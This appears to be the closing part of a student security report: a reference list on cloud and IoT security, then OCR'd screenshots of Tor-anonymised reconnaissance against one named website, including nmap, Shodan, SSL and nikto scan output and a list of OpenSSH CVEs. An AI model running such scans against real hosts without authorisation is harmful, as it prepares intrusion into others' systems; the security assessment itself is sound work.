[14] 	G. Alandjani, "Features and Potential Security Challenges for IoT Enabled Devices in Smart City Environment", International Journal of Advanced Computer Science and Applications, vol. 9, no. 8, 2018. Available: 10.14569/ijacsa.2018.090830 [Accessed 11 June 2020].
[15]	A. Giannakoulias, "Cloud computing security: protecting cloud-based smart city applications", Journal of Smart Cities, vol. 2, no. 1, 2016. Available: 10.18063/jsc.2016.01.007 [Accessed 11 June 2020].
[16]	C. Badii, P. Bellini, A. Difino and P. Nesi, "Smart City IoT Platform Respecting GDPR Privacy and Security Aspects", IEEE Access, vol. 8, pp. 23601-23623, 2020. Available: 10.1109/access.2020.2968741 [Accessed 11 June 2020].
[17]	"IOT Based Application for Smart City Implementation", International Journal of Modern Trends in Engineering & Research, vol. 3, no. 9, pp. 146-149, 2016. Available: 10.21884/ijmter.2016.3057.cdtxa [Accessed 11 June 2020].
[18]	A. Singh and K. Chatterjee, “Cloud security issues and challenges: A survey,” J. Netw. Comput. Appl., vol. 79, no. August 2016, pp. 88–115, 2017.
[19]	R. Kumar and R. Goyal, “On cloud security requirements, threats, vulnerabilities and countermeasures: A survey,” Comput. Sci. Rev., vol. 33, pp. 1–48, 2019.
[20]	J. B. Hong, A. Nhlabatsi, D. S. Kim, A. Hussein, N. Fetais, and K. M. Khan, “Systematic identification of threats in the cloud: A Survey,” Comput. Networks, vol. 150, pp. 46–69, 2019.
[21]	S. Parikli, D. Dave, R. Patel, and N. Doshi, “Security and privacy issues in cloud, fog and edge computing,” Procedia Comput. Sci., vol. 160, pp. 734–739, 2019.
[22]	N. Subramanian and A. Jeyaraj, “Recent security challenges in cloud computing,” Comput. Electr. Eng., vol. 71, no. July, pp. 28–42, 2018.
[23]	O. Eisen, “Catching the fraudulent Man-in-the-Middle,” Netw. Secur., vol. 2012, no. 6, pp. 18–20, 2012.
[24]	G. Varshney, M. Misra, and P. Atrey, “Secure authentication scheme to thwart RT MITM, CR MITM and malicious browser extension based phishing attacks,” J. Inf. Secur. Appl., vol. 42, pp. 1–17, 2018.
[25]	F. Aliyu, T. Sheltami, and E. M. Shakshuki, “A detection and prevention technique for man in the middle attack in fog computing,” Procedia Comput. Sci., vol. 141, pp. 24–31, 2018.
[26]	S. Karapoola, P. K. Vairam, S. Raman, and V. Kamakoti, “Net-Police: A network patrolling service for effective mitigation of volumetric DDoS attacks,” Comput. Commun., vol. 150, no. May 2019, pp. 438–454, 2020.
[27]	S. Hosseini and M. Azizi, “The hybrid technique for DDoS detection with supervised learning algorithms,” Comput. Networks, vol. 158, pp. 35–45, 2019.
[28]	P. R. McWhirter, K. Kifayat, Q. Shi, and B. Askwith, “SQL Injection Attack classification through the feature extraction of SQL query strings using a Gap-Weighted String Subsequence Kernel,” J. Inf. Secur. Appl., vol. 40, pp. 199–216, 2018.
[29]	D. Kar, S. Panigrahi, and S. Sundararajan, “SQLiGoT: Detecting SQL injection attacks using graph of tokens and SVM,” Comput. Secur., vol. 60, pp. 206–225, 2016.
[30]	Y. S. Jang and J. Y. Choi, “Detecting SQL injection attacks using query result size,” Comput. Secur., vol. 44, pp. 104–118, 2014.
[31]	J. Pauli, “Web Application Exploitation with Broken Authentication and Path Traversal,” in The Basics of Web Hacking, Elsevier, 2013, pp. 87–103.
[32]	S. Iqbal et al., “On cloud security attacks: A taxonomy and intrusion detection and prevention as a service,” J. Netw. Comput. Appl., vol. 74, pp. 98–120, 2016.
[33]	T. Ten, M. Critical, W. Application, and S. Risks, “Important Notice Request for Comments RC Release Candidate 2 Copyright and License,” 2017.
[34]	G. E. Rodríguez, J. G. Torres, P. Flores, and D. E. Benavides, “Cross-site scripting (XSS) attacks and mitigation: A survey,” Comput. Networks, vol. 166, 2020.
[35]	Y. Zhou and P. Wang, “An ensemble learning approach for XSS attack detection with domain knowledge and threat intelligence,” Comput. Secur., vol. 82, pp. 261–269, 2019.
[36]	A. W. Marashdih and Z. F. Zaaba, “Cross Site Scripting: Removing Approaches in Web Application,” Procedia Comput. Sci., vol. 124, pp. 647–655, 2017.
[37]	IMPERVA, “Protect Your Applications Against All OWASP Top 10 Risks Content,” 2018.
[38]	Sucuri, “The Top 10 OWASP 2019,” pp. 1–18, 2019.
[39]	D. Achmadi, Y. Suryanto, and K. Ramli, “On Developing Information Security Management System (ISMS) Framework for ISO 27001-based Data Center,” 2018 Int. Work. Big Data Inf. Secur. IWBIS 2018, pp. 149–157, 2018.
[40]	N. V. Patil, C. Rama Krishna, K. Kumar, and S. Behal, “E-Had: A distributed and collaborative detection framework for early detection of DDoS attacks,” J. King Saud Univ. - Comput. Inf. Sci., no. xxxx, 2019.
[41]	M. Beltrán, “Identifying, authenticating and authorizing smart objects and end users to cloud services in Internet of Things,” Comput. Secur., vol. 77, pp. 595–611, 2018.
[42]	H. Berger and A. Jones, “Cyber security & ethical hacking for SMEs,” ACM Int. Conf. Proceeding Ser., vol. Part F1305, 2016.
[43]	O. B. Lawal, A. Ibitola, and O. B. Longe, “Analysis and Evaluation of Network-Based Intrusion Detectionork Using Snort Freeware,” African J. Comput. ICT African J. Comput. ICT Ref. Format O.B. Lawal, vol. 6, no. 2, pp. 169–184, 2013.
[44]	T. S. Sethi and M. Kantardzic, “Data driven exploratory attacks on black box classifiers in adversarial domains,” Neurocomputing, vol. 289, pp. 129–143, 2018.

image1.png
Applications v Places v

ESD-ISO

= v!auensh

Kali-
onsurf-
eb-src

ENSE

Terminal v Tue 01:57

root@kali: ~

File Edit rch  Terminal

Help
root@kali:~# sudo anonsurf start

* killing dangerous applications

* cleaning some dangerous cache elements
[ i ] Stopping IPV6 services

[ i ] Starting anonymous mode

* Tor is not running! starting it for you

Failed to start tor.service: Unit tor.service not found.

* Modified resolv.conf to use Tor and Private Internet Access DNS
iptables v1.6.1: owner: Bad value for "--uid-owner” option: “debian-tor"
Try ‘iptables -h' or ‘iptables --help’ for more information
iptables v1.6.1: owner: Bad value for "--uid-owner" option
Try ‘iptables -h' or ‘iptables --help’ for more information
iptables v1.6.1: owner: Bad value for "--uid-owner” option
Try ‘iptables -h' or ‘iptables --help’ for more information

* AL traffic was redirected through Tor

“debian-tor"

“debian-tor"

[ i1 You are under Anonsurf tunnel

rootekali:~# []

=g

1 »

mysql_user. usertxt  password.  sshpass.xt  sshuser.txt
ot ot
fip.txt

Userpass. txt

mysqLxt




image2.png
@ Start

on Finder - G

c @
Parrot B Wiki &

|a|plocatlpng

MY IP

FORUMS

HIDE IP

CHANGE IP

+

PROXY GAMES

Where is Geolocation of an IP Address?

Your public IP Address is 185.220.101.134.
Hide IP with VPN

IP Location

Here are the results from a few Geolocation
providers. Accuracy of geolocation data may vary
from a provider to provider. Test drive yourself, and
decide on the provider that you like.

Do you have a problem with IP location lookup?

TooLs

SEARCH OUR WEBSITE

IPTOOLS

Trace Email Source
Verify Email Address
Proxy Check

Subnet Calculator

2020 TOP VPN PROVIDERS

Personal VPN hides your IP address, and protect
your privacy and security by encrypting traffic
between you and the Internet.





image3.png
DNS leak
test.com

What is a DNS leak? What are transparent DNS proxies? How to fix a DNS leak

Test complete

Query round Progress. ... servers found Sponsored by Y

T ’ IVPN

Ultimate IP leak Protection

P Hostname ISP Country

172.253.215.10 None Google Brussels, Belgium
172.253.215.2 None Google Brussels, Belgium
74.125.47.10 None Google Brussels, Belgium

74125476 None Google Brussels, Belgium

about | link to this site | privacy policy




image4.png
@ Applications  Places System €) 62 @ 1R |

XX ) Zenmap (sandboxed or root)

Scan Tools Profile Help

Target: 192185.39.52 v Profile: Slow comprehensive scan
Command:  nmap -sS -sU~T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

0S  Host
Starting Nmap 7.70 ( (NETEVPIUETINE ) =t
Loaded 285 scripts for scanning.
Script Pre-scanning.
Initiating NSE at 10:19
[shodan-api] Error: Please specify your ShodanAPI key with the FTENBETEREISLEN argument
[mtrace] A source IP must be provided through fromip argument.
Completed NSE at 10:19, 160.34s elapsed
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Pre-scan script results:
| broadcast-igmp-discovery:
|
| Interface: wlan@
| Version: 2
| Group:
| Description: mDNS (rfc6762)
|_ Use the newtargets script-arg to add the results as targets
| broadcast-ping:
| 1P: [EPISUTIFWE] MAC: d4:dc:cd:9l:ef:d7
|_ Use --script-args=newtargets to add the results as targets
| targets-asn
| ETCTSTEETTR i o nandatory parameter
Initiating Ping Scan at 10:19
— Scanning [7 ports]
Completed Ping Scan at 10:19, 0.16s elapsed (1 total hosts)
Filter Hosts iniiiosion Dogeliel on B el et

Menu

W Zenmap (sandboxed or

[ICDI 4

FriMay 1,10:57

Scan

<

Cancel

Details




image5.png
@ Applications  Places System €) 62 @ 1R B ® ¥ % FriMay 1,10:58
XX ) Zenmap (sandboxed or root)

Scan Tools Profile Help

Target: 192.185.39.52 v Profile:  Slow comprehensive scan v [Scan Cancel

Command:  nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

= nmap -5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)” 192.185.39.52 v & Details
Initiating Ping Scan at 10:19 E

Scanning [7 ports]

Completed Ping Scan at 10:19, 0.16s elapsed (1 total hosts) |

Initiating Parallel DNS resolution of 1 host. at 10:19

Completed Parallel DNS resolution of 1 host. at 10:19, ©.04s elapsed
Initiating SYN Stealth Scan at 10:19

scanning [TTPIPIITTREEITE (ICEJFTERELIER) (1000 ports]
Discovered open port 143/tcp on JEPSSCEIELIES
Discovered open port 25/tcp on [RESSELELIER!
Discovered open port 993/tcp on JEPSSCLIELIES
Discovered open port 995/tcp on JERSSCERECIER
Discovered open port 80/tcp on [RESSELIELIEP!
Discovered open port 22/tcp on [RESSEEBELIER!
Discovered open port 587/tcp on JERSSCEIELIES
Discovered open port 53/tcp on [RESSELELIER!
Discovered open port 443/tcp on JEPSSCLIELIES
Discovered open port 116/tcp on JERSSCERECIER
Discovered open port 21/tcp on [RESELFELIER!
Discovered open port 3306/tcp on [CPSSEEREERCP
Discovered open port 2222/tcp on SCPSSTEIECICR
Discovered open port 465/tcp on JEESSCERELIER
Discovered open port 26/tcp on RYSPLERELRER
Completed SYN Stealth Scan at 10:19, 2.05s elapsed (1000 total ports
Initiating UDP Scan at 10:19

Scanning (JE EEREENEF:) (1000 ports]
—_— Increasing send delay for |ECSEECRETIER from 0 to 50 due to max_successful tryno increase to 5
Increasing send delay for JCPPCEREEIEP] from 50 to 100 due to max_successful tryno increase to 6

Filter Hosts

Menu  m Zenmap (sandboxed or B om =





image6.png
@ Applications  Places System €) 62 @ R | ® ¥ % FriMay 1,10:58
XX ) Zenmap (sandboxed or root)

Scan Tools Profile Help

Target: 192.185.39.52 v Profile:  Slow comprehensive scan v [Scan Cancel

Command:  nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

&3 | nmap -sS -sU T4 -A -v-PE -PP -PS80,443 -PA3389 -PU40125 -PY g 53 --script "default o (discovery and safe)" 192.185.39.52 v| £ Details
Scanning 162 services on )
About remaining)
About ETC: 10:54 remaining)
About ETC: remaining)
About remaining) |
About remaining) ]

About ETC: 1 (0:02:25 remaining)
About ETC: 10:55 (0:01:56 remaining)
ORIPPTITME YO N About 88.27% done; ETC: 10:54 (0:00:54 remaining)

Completed Service scan at 10:54, 448.58s elapsed (162 services on 1 host)

Initiating 0S detection (try #1) against [{192.185.39.52))

Retrying 05 detection (try #2) against [l192.185.39.52])

Initiating Traceroute at 10:54

Completed Traceroute at 10:54, 0.12s elapsed

Initiating Parallel DNS resolution of 12 hosts. at 10:54

Completed Parallel DNS resolution of 12 hosts. at 10:54, 11.15s elapsed
Script scanning

Initiating NSE at 10:54

[ip-geolocation-maxmind] You must specify a Maxmind database file with the maxmind db argument.

[ip-geolocation-maxmind] Download the database from ESTUNIIEENGHEMER ocoip/ legacy/geolite/

Completed NSE at 10:56, 76.70s elapsed

Initiating NSE at 10:56

Completed NSE at 10:56, 8.16s elapsed

Initiating NSE at 10:56

Completed NSE at 10:56, 0.05s elapsed

— (L S T Sl 55202 . hos tgator. conjllf192. 185.39. 52))

Filter Hosts Host is up (6.12s latency).

Menu  m Zenmap (sandboxed or B om =





image7.png
@ Applications  Places System €) 62 @ - W
XX ) Zenmap (sandboxed or root)

Scan Tools Profile Help
Target: 192.185.39.52 v Profile: Slow comprehensive scan

Command:  nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

os Host nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52
p2/tco_open _ssh___openssh 5.3 (protocol 2.0

|_banner: SSH-2.8-0penSSH_5.3

| ssh-hostkey:

|_ 1024 Be:ac:98:46:3c:a5:36:a4:b5:ca:19:84:2b:06:c0:a0 (DSA)
| ssh2-enum-algos

|  kex_algorithms: (1)

| diffie-hellman-group-exchange-sha256

| server_host_key algorithms: (2)

| ssh-rsa

| ssh-dss

| encryption_algorithms: (3)

| aes256-ctr

| aes192-ctr

| aes128-ctr

| mac_algorithms: (4)
|

|

|

|

|

|

L

hmac-sha2-512

hmac-sha2-256

hmac-ripemd160

hmac- r1 pend160cENEN]
compression_algorithms: (2)

none

Z1ib

| smtp-commands: Couldn't establish connection on port 25

Filter Hosts |_ ©5:55:08 -0500 \x0D\x0A220-We do not authorize the use of this syst...

Menu

Zenmap (sandboxed or

[ICDI 4

Fri May 1,11:00

Scan

<

ancel

Details





image8.png
@ Applications  Places System €) 62 @ L —

Scan Tools

Target: 192

Command:

Zenmap (sandboxed or root)
Profile Help

185.39.52 v Profile: Slow comprehensive scan

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

0S  Host

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

I Tl 3/ icocoen sshtip hpache hitpd

Filter Hosts.

Menu

Zenmap (sandboxed or

|_http-comments
| _http-date: Fr:
| http-headers:
| Date: Fri, 01 May 2020 10:55:18 GMT

| server: Apache

| Upgrade: h2,h2c

|  Connection: Upgrade, close

| Last-Modified: Tue, 23 Apr 2019 05:29:59 GMT
|  Accept-Ranges: bytes

| Content-Length: 746
|

|

|

I

|

I

isplayer: Couldn't find any comments.
01 May 2020 10 11 GMT; -1s from local time.

Vary: Accept-Encoding
Content-Type: text/html

(Request type: GET)
http-methods:
Supported Methods: GET
| _http-mobileversion-checker: No mobile version detected.
| _http-referer-checker: Couldn't find any cross-domain scripts.
| http-security-headers:
|  Strict Transport Security:
| HSTS not configured in HTTPS Server
| http-server-header: Apache
|_http-title: 404 Error
| _http-traceroute: ERRO
| http-useragent-tester:
| status for browser useragent: 404

Script execution failed (use -d to debug)

® ¥ %  FriMay 1,11:02

Cancel

Details




image9.png
@ Applications  Places System €) 62 @ ® ¥ ®  FriMay 1,11:05

XX ) Zenmap (sandboxed or root)
Scan Tools Profile Help

Target: 192.185.39.52 v Profile: Slow comprehensive scan v Scan

Command:  nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services  NmapOutput Ports/Hosts Topology HostDetails Scans

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 v Details

0s Host
RoRr
PORT FAMILY MEAN (us)

STDDEV  LOSS (%)

1 ) 117987.00 434.57 0.0%
21 o 118225.30 1273.38 0.0%
2 o 118066.90 576.52  0.0%
25 0 118626.80 1552.88 0.0%
26 0 118155.40 670.19  0.0%
53 0 118239.00 510.01 0.0%
80 0 118303.00 883.59 0.0%
10 0 117915.10 638.49  0.0%
143 0 118492.00 1628.33 0.0%

|
|
|
|
|
|
|
|
|
|
|
| traceroute-geolocation:

| HoP RTT ADDRESS GEOLOCATION
|

|

|

|

|

|

|

|

|

|

|

|

1 2.08 192.168.1.1 - -
8.87 l{78.144.1.17)} 51.796,-1.178 United Kingdom (Oxfordshire)
16.15 [{78.144.1.16}} 51.796,-1.178 United Kingdom (Oxfordshire)
12.62 [I78.144.14.151)) 51.796,-1.178 United Kingdom (Oxfordshire)
13.27 53.347,-6.244 Ireland ()
119.29 89.149.131.214)) 51.496,-6.122 United Kingdom ()
119.95 n203‘116‘240‘206 37.751,-97.822 United States ()
120.57 n72‘250‘192‘6 29.848,-95.660 United States (Texas)
9 120.11 (SCFIPYFWN]) 37.751,-97.822 United States ()
10 119.47 162.241.144.37[] 37.751,-97.822 United States () b
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Target: 192.185.39.52 v Profile: Slow comprehensive scan v Scan  Cancel

Command:  nmap-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52

Hosts | Services ~ NmapOutput Ports/Hosts Topology Host Details Scans
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Data

Country United States

Organization Unified Layer

ISP Unified Layer

Last Update 2020-04-22T16:56:59.567385
Hostnames ns8202.hostgator.com

ASN AS46606

% Web Technologies
@ optimizely

A Vulnerabilities

Note: the device may not be impacted by all of these issues. The vulnerabilties are implied
based on the software and version.

CVE-2011-5000  The ssh_gssapi_parse_ename function in gss-
serv.cin OpenSSH 5.8 and earlier, when gssapi-
with-mic authentication is enabled, allows remote
authenticated users to cause a denial of service
(memory consumption) via a large value in a
certain length field. NOTE: there may be limited
scenarios in which this issue is relevant.

CVE-2010-4478 OpenSSH 5.6 and earlier, when J-PAKE is enabled,
does not properly validate the public parameter:

*x pE

Apps @ Signin|University.. ¢ UWTSD Library Cat..  [|J Accueil Particuliers|.. @3 OSPFDR/BDRelect.. @ CCNA Routing &S... »

@ 192.185.39.562 ns8202.hostgator.com viewraw

Ports

= =

3306

Services

22
tcp
ssh

OpenSSH Version: 5.3

SSH-2.0-OpenSSH_5.3

Key type: ssh-rsa

Key: AAAAB3NzaClyc2EAAAABTWAAAQEASUSWYFZdrg+S7Cut3ZQRMathH3HG2
BX61236/NKbd070Ljtx

bANTLF3hn9zSL HaZMaVYHZSL ratX+G3Y6Yub2GFFAtuhE3FIFOhQHht13jDEVY
KY6v6LKqaumul k
h5U11X7g9PdrzXBQykr3TXtawe3 FDZuS /Ep@+ebukhqa5bswg5uF FzL2coQKa
QFpZokuID5ANLy
MAWBmVhQhfRap5Cr3nZ120SnH/BSwm+I6kz1VL1Fj7vwG/KX1L12KE1LuGZCA
BUNSwBbM/nf1Zt

2UBFHVSOUPCGMALXVeYyLxnFpCGTBOKCnQUPGBZXUOESDR /u+GRVOMSaSZ/Ugh
DpBQ--

Fingerprint: e9:da:dc:f3:56:F6:0d:58:5¢:75:0d:58:eb:44:5d:b3

Kex Algorithms:
diffie-hellman-group-exchange-sha256
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CVE 20115000

CVE2010-4478

CVE20141632

CVE20105107

CVE2017-15906

CVE2016-10708

CVE20160777

CVE20114327

CVE20104755

CVE20120814

The ssh_gssapi_parse_ename funcion in gss-serv.c in OpenSSH 5.8 and earlier, when
‘gssaplnitn-mic authentication s enabled, alows remote authenticated users T ause a
Genial of senvice (memory consumprion) via alarge value in  certain lengen fied. NOTE:
there may b imited scenarios in which this issue s relevan.

OpenSSH 5.6 and earifer, wnen |-PAKE s ensbled, doss not properly valdate the public
parameters in the | PAKE protocol, which allows remote attackers o bypass the need for
knowledge of the shared secrer, and successfully authenticate, by sending crafted
alues in each round of the protocol,a related isue to CVE-2010-4252.

The hash_buffer function in scnorr.c in OpenSSH through 6.4, when Makefle ncis
modified to enable the -PAKE protocol, does not nitialze certain data structures, which
might allow remote attackers to cause a denial of service [memry corruption) or have
unspecified other impact via veccors that trigger an error condition

The default configuration of OpenSSH through 6.1 enforces a fixed time imit between
establishing a TCP connection and compieting 2 login, which makes t easier for remote
sttackers to cause  denial of service (connection-siot exhaustion) by periogically
making many new TCP connections.

The pr
prevent
Ties.

cess_open function n sftp-server.cin OpenSSH before 7.6 does not properly
= aperations in readonly mode, which allows attackers to create zero-length

Sshdin OpensSH before 7.4 allows remote aackers to cause  denial of service (NULL
pointer dereference and daemon crash) via an outof-sequence NEWKEYS message. a5
demansirated by Honggfuzz, related to kex.c and packec.c.

The resend_byces funccion in roaming_common.c n the client in OpenSSH 5.x, 6, and
7.x before 7.1p2 allows remote servers to obeain sensitve informatian from process
memory by requesting transmission of an entire buffer, s demonstrated by reading a

ssh-keysign.c n ssnkeysign in OpenSSH before 5 852 on certain platforms executes ssh-
rand-nelper with unintended open file descriptors, which allows local users to obtain
Sensitve key information via the pirace system cal.

“The (1) remote_glob function n sftp-giob.c and the (2) process_put function in sEp.cin
OpenSSH 5.8 and earifer, 35 used in Free8SD 7.3 2nd 8.1, NetBSD 5.0.2, 0penssD 4.7,
and other producrs, allow remote authenticated users to cause & denial o service (CPU
and memory consumption) via crafied glob expressians that do not match any
pathnames, as demonstrated by glob expressions in SSH_FYXP_STAT requests to an sftp
daeman, 3 different vulnerabily than CVE-2010-2632.

The auth_parse_opions function in auth-options.c n sshd in OpenSSH before 5.7
provides debug messages containing authorized_keys command options, which allows
remore authentcated users to obiain potentialy sensicve information by reading these
messages, as demonscrated by the shared user account required by Gitote. NOTE: this
can cross privilege boundaries becaise a user account may intentionally have no shell
or filesystem access, and therefore may have no supported way o read an
authorized._keys fil n fs own home directory.
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Certificate Chain

3aabbBcbf529b116442856193e87d55a6e3678aef4f79b3256a2a3999b91d9ff
OU=Domain Control Validated, OU=Hosted by HostGator.com, LLC., OU=PositiveSSL Wildcard,
CN=*hostgator.com

C=GB, ST=Greater Manchester, L=Salford, 0=COMODO CA Limited, CN=COMODO RSA Domain
Validation Secure Server CA

82ab57e4e67a0cb48dd2f34830e8ac40f4476fb@8cabbe3f5cd846f64684010

C=GB, ST=Greater Manchester, L=Salford, 0=COMODO CA Limited, CN=COMODO RSA Domain
Validation Secure Server CA

C=GB, ST=Greater Manchester, L=Salford, 0=COMODO CA Limited, CN=COMODO RSA Certification
Authority

4f32d5dceef715250abcc486511e37f501a899deb3bf7ea8adbbd3aef1c412da

C=GB, ST=Greater Manchester, L=Salford, 0=COMODO CA Limited, CN=COMODO RSA Certification
Authority

C=SE, 0=AddTrust AB, OU=AddTrust External TTP Network, CN=AddTrust External CA Root

21/FTP
Banner Grab

Server Pure-FTPd

Banner: 220——— Welcome to Pure-FTPd [privsep] [TLS] -———
220-You are user number 1 of 150 allowed.
220-Local time is now 14:32. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
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3386/MySQL

Banner Grab

Version 5.6.41-84.1
Protocol Version 10

TLS Handshake
Version TLsv1.2
Cipher Suite TLS_ECDHE_RSA_WITH_AES,128_GCM_SHA256 (xC82F)

Certificate Chain

‘3aa6bAChf529b116442856193607d55a6e3670aef4179b3256a223999b91dOFF
OU=Domain Control Validated, OU=Hosted by HostGator com, LLC., OU=PositiveSSL Wildcard, Cf
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cA
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~COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server

2077 /BANNER ED

Banner Info

Port 2077
Protocol TCP

Decoded Banner HTTP/1.1 201 Unauthorized
Date: e, 13 May 2020 21:58:26 GIT
Server: cpanel
persistent-auth: false
Host: 192.185.39.52:2077
Cache-Control: mo-cache, no-store, must-revalidate, private
Connection: close
vary: ccept-Encoding
Witi-authenticate: Basic reslm="festricted area®
Content-Length: 35
Content-Type: text/ntnl; charset="utf-s"
Expires: Fri, o1 Jan 1350 oo:e0:0e GT

<htnL>authorization Requirede/htnl>

2078/BANNER
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Home Projects Qualys Free Trial Contact

Qualys. ssi Labs

You are here: Home > Projects > SSL Server Test > www.tevelcyber.com

SSL Report: www.tevelcyber.com (192.185.39.52)

Assessed on: Thu, 23 Apr 2020 12:06:35 UTC | Hide | Clear cache Scan Another »

Summary

Certificate

Protocol Support

Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

This site works only in browsers with SNI support.
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No, server keys and hostname not seen elsewhere with SSLv2

crew (1) For a better understanding of this test, please read this longer explanation
(2) Key usage data kindly provided by the Censys network search engine; original DROWN website here
(3) Censys data is only indicative of possible key and certficate reuse; possibly out-of-date and not complete

Secure Renegotiation Supported

Secure Client-Initiated Renegotiation No

Insecure Client-Initiated Renegotiation No

BEASTattack Mitigated server-side (more info)

POODLE (SSLv3) No, SSL 3 not supported (more info)

POODLE (TLS) No (more info)

Zombie POODLE No (more info)

GOLDENDOODLE No (more info)

OpenSSL 0-Length No (more info)

Sleeping POODLE No (more info)

Downgrade attack prevention Unknown (requires support for at least two protocols, excl. SSL2)

SSLITLS compression No

RC4 No

Heartbeat (extension) Yes

Heartbleed (vulnerability) No (more info)

Ticketbleed (vulnerability) No (more info)

OpenSSL CCS vuln. (CVE-2014-0224) No (more info)

OpensSSL Padding Oracle vuln.

(CVE-2016-2107) e nam E)

ROBOT (vulnerability) No (more info)

Forward Secrecy Yes (with most browsers) ROBUST (more info)

ALPN Yes h2hiip/t.1

NPN No

Session resumption (caching) Yes

Session resumption (tickets) Yes
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@ Cipher Suites
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TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f) ECDH secp256r1 (eq. 072 bits RSA) FS

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030) ECDH secp256r1 (eq. 3072 bits RSA) FS

TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (ex9e) DH2048 bits FS

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (6x9f) DH2048bits FS

Handshake Simulation

Q

Android 4.4.2
Android 5.0.0
Android 6.0
Android 7.0
Android 8.0

Android 8.1

RSA 2048 (SHA256)
RSA 2048 (SHA256)
RSA 2048 (SHA256)
RSA 2048 (SHA256)
RSA 2048 (SHA256)
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TLS 12
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TLS 1.2 > http/1.1
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TLS12>h2

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
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root@kali: ~ .

Applications v Places v

File Edit rch Terminal _Help burpsuite_
root@kali:~# - community—
root@kali:~# linux_

root@kali:~# v2020_4:5h

rootakali:~# nikto -h https://www.tevelcyber.com/wp-admin
- Nikto v2.1.6

192.185.39.52
www. tevelcyber . com
443

+ Target T
+ Target Hostname:
+ Target Port
+ SSL Info: Subject: /CN=tevelcyber.com

Ciphers: ECDHE-RSA-AES128-GCM-SHA256

Issuer: /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
+ Start Time: 2020-05-02 01:33:16 (GMTO)

+ Server: Apache

+ Uncommon header 'x-redirect-by' found, with contents: WordPres

+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined

+ Root page / redirects to: https://tevelcyber.con/wp-login.php?redirect to=https%3A%2Fi2Fum|
w. tevelcyber. coms2Fwp-admin%2F&reauth=1

+ Cookie PHPSESSID created without the secure flag

+ Cookie PHPSESSID created without the httponly flag

D= B
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ESD-ISO

D= B

Places v Terminal v Wed 11:53

root@kali:
File Edit arch  Terminal Help

root@kali:~# nikto -h https://www.tevelcyber.com/wp-login/php
- Nikto v2.1.6

+ Target IP: 192.185.39.52
+ Target Hostname:  www.tevelcyber.com
+ Target Port: 443

+ SSL Info: Subject: /CN=tevelcyber.com

Ciphers: ECDHE-RSA-AES128-GCM-SHA256

Issuer: /C=US/O=Let's Encrypt/CN=Let's Encrypt Authority X3
+ Start Time: 2020-05-06 11:52:30 (GMTO)
Server: Apache
The anti-clickjacking X-Frame-Options header is not present
The X-XSS-Protection header is not defined. This header can hint to the user agent to protec
against some forms of XSS
The site uses SSL and the Strict-Transport-Security HTTP header is not defined
The X-Content-Type-Options header is not set. This could allow the user agent to render the
ontent of the site in a different fashion to the MIME type

Clo + + 4+ +

T o) B v
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Places v Terminal v Wed 12:03

root@kali: ~/D-TECT
File Edit

D-TECT - Pentest the Modern Web
Author: Shawar Khan - ( https://shawarkhan.com

-~ Menu --

WordPress Username Enumerator
Sensitive File Detector

Sub-Domain Scanner

Port Scanner

Wordpress Scanner

Cross-Site Scripting [ XSS ] Scanner
wWordpress Backup Grabber

SQL Injection [ SQLI ] Scanner
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[+] select option
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Terminal v Wed 12:05

root@kali: ~/D-TECT

Search Terminal _Help
Sensitive File Detector
Sub-Domain Scanner

2
3

4. Port Scanner

5.  Wordpress Scanner

6 Cross-Site Scripting [ XSS ] Scanner
7 Wordpress Backup Grabber

8 SQL Injection [ SQLI ] Scanner

[+] select option

>3
[+] Enter Domain
e.g, site.com

/ /vt
[+] Checking Status
[i] site is up!

[+] Target Info:
URL: https://www.tevelcyber.com
h leyb
| Ip: 192.185.39.52

[+] Checking if any Cloudflare is blocking access...
[+] Checking Redirection
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root@kali: ~/D-TECT

File Edit Vie h Terminal Help

[+] Select Option
>3

[+] Enter Domain
e.g, site.com
Bt tps:/ /vt

[+] Checking Status.

[i] site is up!

[+] Target Info:
| URL: https://www.tevelcyber.com
| 1p: 192.185.39.52

